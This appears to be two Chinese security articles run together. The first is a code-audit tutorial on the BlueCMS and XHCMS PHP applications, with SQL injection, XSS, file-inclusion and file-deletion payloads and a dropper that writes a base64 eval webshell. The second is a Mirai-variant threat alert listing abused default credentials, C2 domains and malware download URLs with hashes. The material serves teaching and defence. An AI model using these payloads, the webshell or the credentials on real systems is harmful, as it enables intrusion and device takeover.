这类文件通常命名里面包括config这个关键字，配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息，从这个文件里面可以了解程序的小部分功能，另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用的双引号包起来，如果是双引号，则很大可能会存在代码执行漏洞。
## 寻找关键词
大致的分类的话就如下所示
命令执行 system、shell_exec、passthru、popen、proc_open
文件包含 require、include、require_once、include_once
变量覆盖 parse_str 、mb_parse_str
代码执行 eval、assert、preg_replace
文件操作 file_get_contents 、file_put_contents 、move_uploaded_file 、unlink & delete
这些是大致的关注点，但是如果自己去找的话一般这么多的文件，一个个ctrl+f寻找关键词也是比较慢的，因此一般的话是借用工具的，但工具不是百分百灵验的，我们需要结合自己的判断来看它是否真的存在漏洞，一会介绍一下工具，现在先具体的介绍一下这些关注点
### SQL注入关键词
SQL注入，关注点就是`SELECT xxx From xxx WHERE xxx`以及`UPDATE xxx SET xxx WHERE
xxx`这些字词，当出现这些的时候，才有可能出现SQL注入。
同时还要关注`character_set_connect='gbk'`这种语句，出现它时可能会出现宽字节注入。
例如
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
### XSS关键词
XSS常见地是留言板，新闻编辑处这些可以写入内容的地方，同时我们可以结合之前存在的漏洞进行尝试XSS。
### 任意文件删除关键词
这类在修改头像、修改内容时可能比较常见，然后一般我们就可以去这类文件下看它是否有`unlink`函数，如果有的话就可能存在任意文件删除漏洞
## 工具
我们一般自己去找的话有点慢，效率不高，但代码审计有应用可以帮助我们进行代码审计，常见的是Seay源代码审计系统，seay工具链接如下
<https://github.com/f1tz/cnseay>
我们关注的SQL注入，我们就可以去搜索SELECT
以及`UPDATE`
对应的任意文件删除漏洞，我们就去搜索`unlink`函数
这个时候就可以直接定位到利用函数的语句中，相比自己找要快捷很多，同时Seay代码审计具有自动代码审计的功能，用它也是蛮方便的。
下面开始审计
# bluecms
## 环境配置
这个CMS是比较简单的一个，源码链接如下
<https://github.com/source-trace/bluecms>
我的环境配置是`phpstudy 2018
5.5.38+mysql5.5.53`，不要用7+这种高版本的php，因为这个cms是比较老的，它的部分函数与新版本php两者是不相匹配的，然后搭建好后访问`bluecms-master/install/`，这个时候可能界面是空白，我们需要开启一下`允许目录列表`
然后去删除`bluecms-master\install\compile`下的php文件
此时再去重新访问`install`
按照步骤配置即可，但是到`step=5`时又变成空白了，不过这个时候已经搭建好了，访问`bluecms-master/index.php`就可以发现已经配置成功
## 工具扫描
使用seay工具进行扫描
扫描这个cms后得到很多数据
开始挨个进行分析
## SQL注入
### ad_js.php
跟进第一条
包含了`common.inc.php`文件，跟进查看这个文件
if语句中有一个`get_magic_quotes_gpc`函数，查看这个`get_magic_quotes_gpc`函数
这么看的话其实就是相当于if语句中始终为1，那也就是说它对`GET POST COOKIES
REQUEST`这些请求的参数加上了`deep_addslashes`函数，此时跟进这个函数进行查看
可以发现这里其实就是加上了`addslashes`函数，而这个函数呢是对`单引号、双引号、反斜线`加上`\`进行转义的，因此这里其实就是限制了`单引号、双引号、反斜线`的使用，防止SQL注入
再回到最开始，发现注入参数是`ad_id`，观察代码可以看出它对`ad_id`参数先进行了`trim()`过滤，也就是过滤了参数中的空白字符，例如`空格
\t \r
\n`这些，之后呢进行了SQL注入查询语句，参数两边是没有加单引号的，看起来是可以进行SQL注入的，此时发现`getone`函数，我们跟进这个函数进行查看
从这里看出它这个函数是将结果取出的，因此这里的话我们总结一下，它就是一个SQL查询语句，我们可以控制where
ad_id=`xxx`这一部分，同时它有这个`单引号`过滤函数，但是这里变量是没有被单引号包裹的，所以这里这个函数其实是无效的，而且这个结果有回显，会返回结果，我们此时就可以尝试在此界面进行SQL注入
访问`bluecms-master/ad_js.php`,先看一下字段数
ad_id=-1 order by 7
ad_id=-1 order by 8
当是7的时候无回显，为8的时候报错，说明字段数为7，接下来尝试联合查询
-1 union select 1,2,3,4,5,6,7
看起来是无回显的，但当我们去查看源代码时就会发现是有回显的，不过加了注释
因此这里的这个7就是回显位，接下来开始注入即可
//查库
-1 union select 1,2,3,4,5,6,database()
//查表
-1 union select 1,2,3,4,5,6,(select group_concat(table_name) from infromation_schema.tables where table_schema=database()
当然这里这个查表也可以用十六进制来进行绕过
我这里的数据库名是`root`，对其进行十六进制加密后为`726f6f74`，加上`0x`使得能够被识别为十六进制数，构造payload如下
//查表
ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(table_name) from information_schema.tables where table_schema=0x726f6f74)
//查列(以blue_user为例)
ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(column_name) from information_schema.columns where table_name=0x626c75655f75736572)
//查字段
ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(user_id,0x7e,user_name,0x7e,pwd) from blue_user)
### ann.php（失败）
只看这个`SELECT`语句的话，确实是没有什么过滤的，看起来可以进行SQL注入
但是看最上面的传值处就会发现
这两个在有值时，结果是`intval`函数包含后的，我们测试一下这个函数
<?php
$a=$_REQUEST['a'];
echo intval($a);
?>
可以发现字母都被pass了，因此这里的话，就没办法进行SQL注入了
G，下一个。
### comment.php（失败）
打开发现这个`SELECT`语句中`id`变量是无单引号包裹的
id如果没有被过滤的话，就存在可注入点，看id传值处
id添加了`intval`函数，因此这个参数是无法进行注入了，此时这个type也同理，限制了值只能是`0或1`，这个`act`的话
限制了只能为`list`或者`send`，而且它不在查询语句这种里面，在这个文件里没有用到，因此也是可以判定为没戏的，所以这个文件也G
### user.php(失败)
按照seay审计系统的来，发现这个有select语句，但是它的变量都是有单引号包裹的
在最上方看看包含的文件
发现包含有这个`common.inc.php`文件，而这个文件中有过滤单引号的函数，因此这里不存在SQL注入。
下一处
这里的id变量未被单引号包裹，但它在传值时添加了`intval`函数，这意味着字符串无法上传，因此这个也是无法成功注入的。PASS
## XSS
### ad_js.php
这个`ad_id`变量可控，而且它没有单引号包裹，那不就意味着我们可以随意构造后面的语句，不仅仅是SQL注入，XSS应该也是可以的，我们构造payload如下
1 <script>alert(/quan9i/)</script>
### user.php
elseif ($act == 'do_add_news') {
include_once 'include/upload.class.php';
$image = new upload();
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('���ŷ����Ϊ��');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
这里发现title和color添加了转换HTML实体函数，因此是可以确定是不存在XSS的，下面亦是如此，但我们发现包含content的函数是不同的，它是`filter_data`函数包裹的，跟进这个函数看看
函数如下
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}
发现过滤了常用的xss标签，但仍存在其他的xss标签，如
<img src=1 onerror=alert(1)>
<a href=javascript:alert(1)></a>
<svg onload=alert(1)>
<button onclick=alert(1)>
此时这个应该是有可能的，我们看后面他还有没有过滤
可以发现这个SQL语句直接将这个content给写进去了，那这里就应该是存在XSS的，我们尝试构造一下
这里加*的应该是必选项，那我们就只写这几个即可，构造payload如下
点击编辑
成功触发XSS
### guest_book.php
在看前台的时候发现有一个留言的界面，点击访问，url跳转到了`guest_book.php`下，查看源码
可以发现这个里面的内容加上了HTML实体标签，因此内容实现XSS是没戏，而且在开头可以发现包含了一个文件
这个文件里面对单引号进行了转义，这里的话还剩一个变量是`page_id`，可以发现这个参数是没有被单引号或者双引号包裹的，然后我们看一下包含它的`showmsg`函数
也并未对这个id进行过滤，说明这里可能有戏，我们先正常上传一个123试试
上传后没有异常，查看界面源代码
找到我们的page_id变量，这里就可以发现是被input标签中value属性包含的，如果我们可以摆脱这个，那么就可以实现xss，那这个时候我们闭合双引号，先写一个`"`，再闭合标签，用`>`，而后加上我们的xss语句`<scipt>alert(1)</script>`即可，此时我们想到开头不是有一个转义双引号的吗，但是我们看一下这里此时的语句
value="\"><script>alert(1)</script>"
这个\正好被当做了value的值，双引号还是起到作用了，此时我们来传值进行尝试
成功XSS
## 文件包含
### user.php
seay审计代码系统扫描中发现一个文件包含漏洞
跟进进行查看
发现这里在上过pay之后直接进行了包含，如果版本号低的话，应该是可以利用%00截断
> %00截断
> magic_quotes_gpc=off，PHP小于5.3.4
还有路径长度截断
> 路径长度截断
> Linux 需要文件名长于 4096，Windows 需要长于 256
但在这里测试%00截断行不通，尝试路径长度截断可行
这里的php文件是本地的，那我们该如何去上传一个文件来getshell呢
发现user下有一个上传头像的，如果这个文件名可控的话，那么就可以getshell了
发现此时给出了文件名
包含一下同时传值进行尝试
成功，还有一种方式，因为这里的话是include一个文件，我们知道include文件的话，就会执行这个文件里的语句，那我们就可以让他包含一个文件，然后这个文件里写入我们的小木马即可，示例如下
这个是1.php
<?php
include("qq.php");
?>
然后这个是qq.php
<?php @fputs(fopen('shell.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+'));?>
//PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+为<?php @eval($_POST[1])?>
然后我们去访问1.php
此时再看这个文件夹下
成功写入，原理就是这样。此时我们再来看这里，我们传入的方式的话就是上传头像，我们将我们php文件改为jpg而后上传，内容依旧是写入shell.php，其内容为一句话木马
<?php @fputs(fopen('shell.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+'));?>
此时还需要进行一下文件包含，我们去查看一下当前的头像路径
此时去包含它，用刚刚路径长度截断的姿势即可
此时去查看shell.php，如果界面空白则应该是上传成功
蚁剑连接
## 任意文件删除
这种的话一般是找`unlink`函数，这个函数是删除文件的，可能存在任意文件删除漏洞，这里的话我门用seay代码审计工具来进行查看
跟进user.php查看
### user.php
#### id参数(失败)
看起来的话是没有什么过滤的，不过前面有个query函数，跟进查看一下
可以发现当它查询这个id在结果中没有的时候，它就会把错误返回，那这个时候就无法继续运行了，而我们如果想实现任意文件删除的话，变量id肯定是要写成文件名的，那这个时候无法往下运行，这个也就无法实现任意文件删除，因此这个实现不了任意文件删除
#### face_pic3参数
这个有多个参数中涉及了`unlink`函数，我们挨个进行查看
这里的话可以发现这个`face_pic3`是在unlink函数下的，跟进这个变量会发现也只在这里提及，因此这里的话不存在过滤，此时如果这个else语句能执行，我们就可以通过控制这个变量来实现任意文件删除，此时看看上面语句
它是在`act`变量为`edit_user_info`下的，因此我们令act为`edit_user_info`即可，而后发现这些变量不传不会跳出，我们就不填这些变量即可，然后来到这个if-else语句，为了让else语句执行，所以if的条件是不能满足的，if里的条件是`face_pic1`不为空，我们这里让它为空就可以执行else语句，因此按理说直接post传`face_pic3`就可以实现任意文件删除，尝试
我们这里本地是有shell.jpg的，我们删除它来试试
发包
成功实现。
#### lit_pic参数
发现这个`lit_pic`变量
然后跟进变量的话发现它是只出现在这里的，这意味着它这个变量是没有其他过滤的，这里我们也不需要输入单引号或者双引号，直接让`lit_pic`等于我们想删除的文件夹名即可实现任意文件删除，但是要实现这个，肯定需要满足上面的条件，这样才能往下进行，因此我们从上面的语句开始看
只有这个
首先满足这个，所以我们就需要写`title`变量
姓名和电话，这意味着`link_man`和`link_phone`也是需要填写的，还有开始的变量`lit_pic`,这里post传入的也就是四个变量，这个时候先看看我们本地的文件
可以发现是有shell.php的，我们尝试删除它，即让`lit_pic`的值为它
此时查看本地
成功实现了任意文件删除
# 熊海cms
## 环境搭建
下载地址<https://down.chinaz.com/soft/36930.htm>
安装后访问`install`界面
填写完成过后点确定即可
此时再访问index.php
配置完成
## 了解CMS结构
结构如下
对应功能如下
> admin --管理后台文件夹
> css --存放css的文件夹
> files --存放页面的文件夹
> images --存放图片的文件夹
> inc --存放网站配置文件的文件夹
> install --网站进行安装的文件夹
> seacmseditor --编辑器文件夹
> template --模板文件夹
> upload --上传功能文件夹
> index.php --网站首页
## 工具扫描
发现存多个漏洞，包括`SQL注入`和`任意文件包含`等，下面开始进行分析
### 文件包含
#### index.php
源码如下
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
可以发现这里没有包含什么文件，开始看代码。
这个的话是get传参了一个变量r，这个r被`addslashes`函数包裹
然后把这个值赋给了file变量，此时有个三元运算符，如果变量file为空就令file等于index同时赋值给action变量，否则就令变量file为变量r的值，然后赋值给action变量
此时包含了这个action变量，在action前后进行了拼接。
这里的代码就读到这就结束了，然后我们需要了解一下这个`addslashes`函数
addslashes — 使用反斜线引用字符串
该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符）。
也就是说对单引号、双引号、反斜线和NUL进行了转义，这里的话我们的路径一般用的是`./`这些，不受影响，因此这里的话我们先在本地放一个1.php文件，写入phpinfo()
传一下看看是否能成功上传
成功
那如果不是php文件的话，这里该怎么进行利用呢，这个时候就用到了路径长度截断，在bluecms中也曾利用过，这里我们再次尝试
先在本地放一个txt文件
内容为phpinfo即可，具体如下
采用路径长度截断(.号长度大于256即可)
注
但这个经过测试，只有在php版本为5.2.17时可以成功，其他情况都不行
这个的话是可以成功进行文件包含的，看下一处
#### admin/index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
代码同上，这里肯定也可以进行文件包含，思路同上即可，不再演示
### SQL注入
这种的话可以先测测登录点，一般都是admin，这种登录框的可能会出现SQL注入，先测试一下是否是单引号闭合的
报错，有戏
既然报了个错，那就用个报错注入好了
爆库
1' and (extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e)))#
爆表
1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)))#
后面按照常规注入即可，此时看看后端代码
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
发现user是没有进行过滤的，直接放入了select语句中，造成了SQL注入
#### admin/files/adset.php(失败)
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$ad = mysql_fetch_array($resul);
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
可以看到这里的话有这个`"UPDATE adword SET
ad1='$ad1'`语句，我们这里可控的变量是ad1，但ad1被单引号包裹了，我们如果想要进行SQL注入的话肯定需要闭合单引号，此时我们看ad1的传入方式，发现`$ad1=addslashes($_POST['ad1']);`，它被这个`addslashes`函数包裹了，这就意味着我们的单引号输入后会被转义，那也就无法闭合之前的语句，因此无法实现SQL注入，这里是误报了属于是
#### admin/files/editcolumn.php
部分代码如下
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$columnopen='class="open"';
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
这里我们可以看见到这个id参数是可控的，虽然它被包裹在单引号中，但id的传参是直接get传参的，此时就剩下两个开头的包含文件了，如果包含的文件是没有过滤的话，那这里应该就是可以进行SQL注入的，查看这两个文件
conn.php内容如下
<?php
error_reporting(0);
header('Content-Type:text/html;charset=utf-8');
require 'conn.info.php';
//常量参数
define('DB_HOST',$DB_HOST);
define('DB_USER',$DB_USER);
define('DB_PWD',$DB_PWD);
define('DB_NAME',$DB_NAME);
//第一步，连接MYSQL服务器
$conn = @mysql_connect(DB_HOST,DB_USER,DB_PWD) or die(header('Location: /install'));
//第二步，选择指定的数据库，设置字符集
mysql_select_db(DB_NAME) or die('数据库错误，错误信息：'.mysql_error());
mysql_query('SET NAMES UTF8') or die('字符集设置错误'.mysql_error());
date_default_timezone_set('PRC'); //设置中国时区
?>
连接数据库的文件，再查看另一个
checklogin.php内容如下
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
这个是检验是否登录的
因此这里不存在过滤，接下来去尝试一下SQL注入
尝试闭合
r=editcolumn&type=2&id=1' --+
成功，接下来查看字段数
字段数为9，接下来查看回显位
3、4、5、8都可以，随便整一个开始注入
r=editcolumn&type=2&id=-1' union select 1,2,database(),4,user(),6,7,@@version,9 --+
成功注入
#### admin/files/editsoft.php
部分源码如下
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$wzlistopen='class="open"';
$id=$_GET['id'];
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_Aerror());
$download = mysql_fetch_array($resul);
可以看出是类似于上面那个文件的，尝试用上关方法去进行SQL注入
查询字段数
字段数为18，查看回显位
开始联合查询
r=editsoft&type=2&id=-1'union select 1,database(),3,4,5,6,7,8,9,user(),@@version,12,13,14,15,16,17,18--+
成功注入
#### downloads. php
这里的话可以发现是id参数是被`')`包裹的，且来自于变量`fileid`，`fileid`变量是由cid参数经过`addlashes`函数后得到的，那这里的话单引号肯定就会被转义了，想闭合语句的话不太可能，所以这里的话SQL注入是没戏，这里算是G了。
#### install/index.php
在此处发现有update语句和可控的变量`password`和`username`，查看这两个变量的传入方式
可以发现是直接传入的，没有什么过滤，那么这里就可以在user变量处尝试SQL注入了
单引号测试
结果如下
尝试报错注入
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
爆表
1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)))#
### XSS
#### admin/files/adset.php
关键代码如下
<div class="form-group">
<label class="col-lg-4 control-label">广告一</label>
<div class="col-lg-8">
<textarea name="ad1" class="form-control col-lg-12" placeholder="ad-1"><?php echo $ad['ad1']?></textarea>
</div>
</div>
可以发现这里的变量ad1是可控的，然后他是在`</textarea>`标签中，如果闭合了这个标签，是不是就意味着我们可以构造自己的语句，也就可以写xss了，此时看一下传变量的方式
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$ad = mysql_fetch_array($resul);
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，广告设置成功更新。');location.href='?r=adset'</script>";
exit;
}
?>
发现是POST传值，这里还有`addslashes`函数，但变量未被单引号包裹，我们不需要单引号，这就意味着这个是没有什么作用的，尝试xss
ad1=</textarea><script>alert(1)</script>&save=1
#### admin/login
刚刚我们测试过它存在SQL注入漏洞，并且知道它是单引号闭合，既然我们可以后面写入报错语句，那岂不是也可以写入我们的xss语句，尝试一下
1'adn<script>alert(1)</script>#
调用一下cookie
#### install/index.php
# 总结
从这两个简单的CMS代码审计中学到了一点知识，简单的总结一下
## 不同CMS异同
大部分没MVC框架的CMS，他们的结构是比较相似的，我们可以看一下这两个CMS的结构
可以发现两者的结构是比较相像的，当我们掌握文件夹的功能时，就能够使得我们的代码审计轻松许多，因此通过文件夹掌握其功能含义是我们首先需要做到的
区别的话就是有的程序员会把css单独作为文件夹(例如这里的xhcms)，有的会把js文件单独作为文件夹(这里的bluecms)，不过这些都是无关紧要的，大致知道文件夹是什么含义，存放的文件是什么就可以
## 常见关注点
SQL注入：
select insert update mysql_query mysqli等
文件上传：
$FILES，type="file"，上传，move_upload_file( )等
XSS跨站：
print，print_r，echo，sprintf，die，var_dump，var_export等
文件包含：
include，include_once，require，require_once等
代码执行：
eval，assert，preg，replace，call，user，func，call_user_func，array等
命令执行：
system，exec，shell_exec，``，passthru，pcntl_exec，popen，proc_open等
变量覆盖：
extract() parse_str() importrequestvariables() $$
反序列化：
serialize() unserialize() _construct _destruct等
## 个人感想
我们挖掘出一个漏洞的时候，它可能不仅仅只是这一个漏洞，举个例子。
当我们关注一个地方的SQL注入的话，就是找`SELECT *
from`此类语句，同时如果它存在SQL注入的话，那它可能不仅仅是SQL注入点，也可能是XSS点，因为后面语句可控的话，插上一个`<script>alert(1)</script>`也并非难事，但这些SQL语句也并不少，这就需要我们观察语句是否可控，同时看是否过滤了，是否过滤十分严格以致于不存在漏洞，总之多多进行测试，实践出真知。
# 参考文章
<https://xz.aliyun.com/t/7992>
<https://xz.aliyun.com/t/11310>
<https://www.cnblogs.com/Cl0ud/p/12824593.html>
<https://www.cnblogs.com/wkzb/p/12732078.html>
<https://www.cnblogs.com/zjhzjhhh/p/14338775.html>
<https://blog.csdn.net/weixin_44770698/article/details/125656478> | 社区文章 |
# 【威胁预警】新的mirai僵尸网络变种正在端口23和2323上积极传播
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**简介**
大约60个小时以前，从2017-11-22
11:00开始，360网络安全研究院注意到在端口2323和23上的扫描流量有一个暴涨现象。其中主要扫描者，大约10万个扫描IP地址位于阿根廷，同时360网络安全研究院也注意到大约有5千个IP地址来自国内。分析以后，目前比较确定这是一个新的mirai变种。
**根因分析**
****
在我们蜜罐中，最近有两个新的用户名密码被频繁使用到，分别是 **admin/CentryL1nk** 和 **admin/QwestM0dem**
。值得一提，admin/CentryL1nk 这对用户名密码是针对ZyXEL PK5001Z 调制解调器的，在一份上月底的利用 中被批露。
上述两个用户名密码对，被滥用的初始时间在2017-11-22 11:00附近，在2017-11-23
日间达到顶峰。这个时间曲线与我们在Scanmon上观察到2323/23端口的扫描曲线比较一致。
另外，蜜罐看到的滥用两个用户名密码对的IP地址，与ScanMon上看到的IP来源地址，也有较大重合：
admin/CentryL1nk : 748 (66.5%) 对 1125
admin/QwestM0dem : 1175 (69.4%) 对 1694
基于以上IP范围重合程度和时间曲线重合程度，我们认为这就是根本原因。
图1 两个正在被滥用的用户名密码对
图2 端口2323上的扫描暴涨
**
**
**恶意代码和C2**
****
对应的恶意代码样本如下：
0ee0fc76a8d8ad37374f4ac3553d8937
018a9569f559bfafbc433dc81caf3ec0
be6165a3e131cc92d3f7d51284cf70bb
样本中的C2 如下：
bigboatreps.pw:23
blacklister.nl:23
**目前为止大约10万台感染机器位于阿根廷，国内也有超过5千个IP感染。**
我们注意到，扫描者IP绝大多数来自阿根廷，过去24小时内有6万5千个，60小时内接近10万个。国内的感染IP也有超过5千个。
图3 绝大多数的感染机器来自阿根廷
360网络安全研究院据此猜测，这次攻击针对某些特定类型的IoT设备，而这些IoT设备在阿根廷被大量部署，这次的情况跟去年德国电信相关事件的情况比较类似。
**IoC**
****
**C2**
bigboatreps.pw:23
blacklister.nl:23
**样本md5和下载URL列表**
http://80.211.173.20:80/amnyu.arm 0255c6d7b88947c7bc82c9b06169e69d
http://80.211.173.20:80/amnyu.arm 3e72bbab07516010ab537d7236c48a2c
http://80.211.173.20:80/amnyu.arm 6c5cadcc9dbcac55b42d1347f4b51df1
http://80.211.173.20:80/amnyu.arm7 2e5ec99ef2cf8878dc588edd8031b249
http://80.211.173.20:80/amnyu.arm7 359527251c09f4ec8b0ad65ab202f1bb
http://80.211.173.20:80/amnyu.arm7 4c21d1f6acfb0155eb877418bb15001d
http://80.211.173.20:80/amnyu.arm7 5cd69f7c5cd6aef4f4b8e08181028314
http://80.211.173.20:80/amnyu.arm7 794f01740878252e8df257b0511c65df
http://80.211.173.20:80/amnyu.arm7 b0791270cc6b180ff798440f416f6271
http://80.211.173.20:80/amnyu.arm7 eee4ff0e2c9482acea3251c9c2ce6daf
http://80.211.173.20:80/amnyu.arm a6f11eba76debd49ee248b6539c4d83c
http://80.211.173.20:80/amnyu.arm ccc8761335b2d829dff739aece435eac
http://80.211.173.20:80/amnyu.arm dd10fb3ed22a05e27bca3008c0558001
http://80.211.173.20:80/amnyu.arm e090660bbc7c673bf81680648718e39e
http://80.211.173.20:80/amnyu.m68k 1782f07f02d746c13ede8388329921e4
http://80.211.173.20:80/amnyu.m68k 4ccd3036cadcbe2a0c4b28ce4ad77b7b
http://80.211.173.20:80/amnyu.m68k 84d737bc5a1821c2f21489695c2c3a71
http://80.211.173.20:80/amnyu.m68k 8f347206f06b05ea8d2e8ea03f4f92d4
http://80.211.173.20:80/amnyu.m68k 94353157ddcd3cb40a75a5ecc1044115
http://80.211.173.20:80/amnyu.m68k b1c66e2a2ed68087df706262b12ca059
http://80.211.173.20:80/amnyu.m68k b8aedf6ee75e4d6b6beeafc51b809732
http://80.211.173.20:80/amnyu.mips 0ee0fc76a8d8ad37374f4ac3553d8937
http://80.211.173.20:80/amnyu.mips 2aa0c53d7d405fa6ffb7ccb895fb895f
http://80.211.173.20:80/amnyu.mips 56b74e34ddf0111700a89592b5a8b010
http://80.211.173.20:80/amnyu.mips 62fa57f007a32f857a7e1d9fb5e064eb
http://80.211.173.20:80/amnyu.mips 633df071ac6f1d55193fc4c5c8747f2a
http://80.211.173.20:80/amnyu.mips 6eed6b55c5cd893aa584894a07eec32f
http://80.211.173.20:80/amnyu.mips 97c314a2a100ea4987e73e008225d3be
http://80.211.173.20:80/amnyu.mpsl 09d98cbaa9794184841450221d410f15
http://80.211.173.20:80/amnyu.mpsl 21f1ab847a9b27f8aaabcafd9cf59756
http://80.211.173.20:80/amnyu.mpsl 33e1e2803bb70cd0d66911175782c6a1
http://80.211.173.20:80/amnyu.mpsl 4e63eccca00b01b66162fa5258d03956
http://80.211.173.20:80/amnyu.mpsl 7d2c1f3d81a2df7beea99552d0704c2d
http://80.211.173.20:80/amnyu.mpsl 7e0f883f239c922a151aab2500400880
http://80.211.173.20:80/amnyu.mpsl e46cbc10309e970ec267afee496832c9
http://80.211.173.20:80/amnyu.ppc 3dadafe1cc9639a7d374682dafab954c
http://80.211.173.20:80/amnyu.ppc 49e4b3e5d7302c2faf08c1ed585a89ca
http://80.211.173.20:80/amnyu.ppc 80bcea07b752ae4306da5f24f6693bea
http://80.211.173.20:80/amnyu.ppc 9e4caeada13676ddc5b7be44e03fe396
http://80.211.173.20:80/amnyu.ppc a40852f9895d956fe198cb2f2f702ebf
http://80.211.173.20:80/amnyu.ppc a8bde89d2fe98268801b58f42214cdca
http://80.211.173.20:80/amnyu.ppc e968bf902db104c91d3aaa0bb363f1bd
http://80.211.173.20:80/amnyu.sh4 141930ed206ef5f076b2a233b390ea65
http://80.211.173.20:80/amnyu.sh4 1bdaf4cd21fb9cb42d971a25fb183d04
http://80.211.173.20:80/amnyu.sh4 25d3ddb85bf392c273dd93922199628c
http://80.211.173.20:80/amnyu.sh4 39eddba755333e22841b2627a2a19e59
http://80.211.173.20:80/amnyu.sh4 485f2b2a684865ead274bba6931c95c9
http://80.211.173.20:80/amnyu.sh4 56afda94860e8d1ca8a7b9960769020d
http://80.211.173.20:80/amnyu.sh4 9dc0c166e30922d1ea8da06ba46996dc
http://80.211.173.20:80/amnyu.spc 3f0322c0b7379e492a17d3cb4fa2c82e
http://80.211.173.20:80/amnyu.spc 53c60f58ce576071c71ede7df656e823
http://80.211.173.20:80/amnyu.spc 5db44876c3acc0b589c8d696c41b6413
http://80.211.173.20:80/amnyu.spc 651b186b04583f0067d4cc2d95565a95
http://80.211.173.20:80/amnyu.spc a18b4a6250f51c1f350b37e1187292fb
http://80.211.173.20:80/amnyu.spc c5e1a57671dab607b8fa7363ab6582ab
http://80.211.173.20:80/amnyu.spc e6cd9197d443fb9fa79ab103232e2b67
http://80.211.173.20:80/amnyu.x86 018a9569f559bfafbc433dc81caf3ec0
http://80.211.173.20:80/amnyu.x86 1663952daca0c49326fb8fa5585d8eec
http://80.211.173.20:80/amnyu.x86 243d2c8ba1c30fa81043a82eaa7756e7
http://80.211.173.20:80/amnyu.x86 4b375509896e111ef4c3eb003d38077f
http://80.211.173.20:80/amnyu.x86 6371b6b1d030ac7d2cb1b0011230f97f
http://80.211.173.20:80/amnyu.x86 64bda230a3b31a115a29e0afd8df5d8a
http://80.211.173.20:80/amnyu.x86 ed825b8aadee560e5c70ffaa5b441438
http://80.211.173.20/amnyu.arm7 b0791270cc6b180ff798440f416f6271
http://80.211.173.20/amnyu.arm e090660bbc7c673bf81680648718e39e
